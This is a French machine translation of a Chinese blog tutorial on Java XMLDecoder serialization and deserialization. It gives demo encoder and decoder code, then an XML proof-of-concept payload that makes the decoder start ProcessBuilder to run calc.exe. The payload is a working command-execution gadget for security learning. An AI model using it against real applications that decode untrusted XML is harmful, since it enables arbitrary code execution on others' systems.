N'est-ce pas, monsieur? Vous ne comprenez toujours pas la désérialisation?

0x01 Préface

Auparavant, nous étions en contact avec un type de désérialisation relativement basique et courant en Java, mais la forme de désérialisation en Java n'est pas si unique. Aujourd'hui, je souhaite présenter la sérialisation et la désérialisation de la classe XMLDecoder.

0x02 Introduction à XMLDecoder

Cette classe est fournie avec jdk, l'emplacement est java.beans.XMLDecoder, la sérialisation de cette classe consiste à convertir des objets java en fichiers xml, et la désérialisation consiste à convertir des fichiers xml dans un format spécifique en objets java.

Nous utilisons toujours une petite démo pour nous familiariser avec son utilisation.

Créez une classe, il y a deux méthodes dans la classe, l'une est l'opération de sérialisation, l'autre est l'opération de désérialisation

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class XMLTest{
    
    
    // 序列化对象到文件person.xml
    public void xmlEncode() throws FileNotFoundException {
    
    
        Person person = new Person();
        person.setAge(18);
        person.setName("axin");
        XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));
        xmlEncoder.writeObject(person);
        xmlEncoder.close();
        System.out.println("序列化结束!");
    }

    // 反序列化
    public void xmlDecode() throws FileNotFoundException {
    
    
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));
        Person person = (Person)xmlDecoder.readObject();
        xmlDecoder.close();
        person.sayHello();
        System.out.println("反序列化成功!");
    }

    public static void main(String[] args) throws FileNotFoundException {
    
    
        XMLTest xmlTest = new XMLTest();
        xmlTest.xmlEncode();
        xmlTest.xmlDecode();
    }
}

La classe Person est la suivante:

public class Person {
    
    
    String name = "";
    int age;

    public String getName() {
    
    
        return name;
    }

    public void setName(String name) {
    
    
        this.name = name;
    }

    public int getAge() {
    
    
        return age;
    }

    public void setAge(int age) {
    
    
        this.age = age;
    }

    public void sayHello(){
    
    
        System.out.println("Hello, my name is "+name);
    }
}

Exécutez la classe XMLTest, un fichier person.xml sera généré dans le répertoire actuel du projet et le terminal imprimera le résultat de l'appel de la méthode sayHello

Le format de fichier xml généré par la sérialisation est le suivant:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_231" class="java.beans.XMLDecoder">
 <object class="Person">
  <void property="age">
   <int>18</int>
  </void>
  <void property="name">
   <string>axin</string>
  </void>
 </object>
</java>

Désérialisez le fichier xml ci-dessus, puis exécutez la méthode sayHello

0x03 Comment utiliser

Nous connaissons déjà les méthodes courantes de sérialisation et de désérialisation de XMLDecoder, alors comment l'utiliser?

Nous pouvons utiliser son mécanisme de désérialisation pour exécuter des commandes arbitraires de n'importe quel objet, par exemple, construire le fichier xml suivant:

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc.exe</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

Si le fichier xml ci-dessus est désérialisé, il exécutera la méthode de démarrage de ProcessBuilder et lira une calculatrice

autre

Ce chapitre n'est qu'un simple principe de désérialisation de XMLDecoder. De même, je trouverai toujours un cas pour vous aider à comprendre la vulnérabilité plus clairement. Bien sûr, si vous changez la soupe sans changer le médicament, le scénario de la vulnérabilité a changé, mais l'essence n'est pas Changé ~

Dans le chapitre suivant, examinons la vulnérabilité de désérialisation XMLDecoder dans weblogic.

Je suppose que tu aimes

Origine blog.csdn.net/he_and/article/details/107219395
conseillé
Classement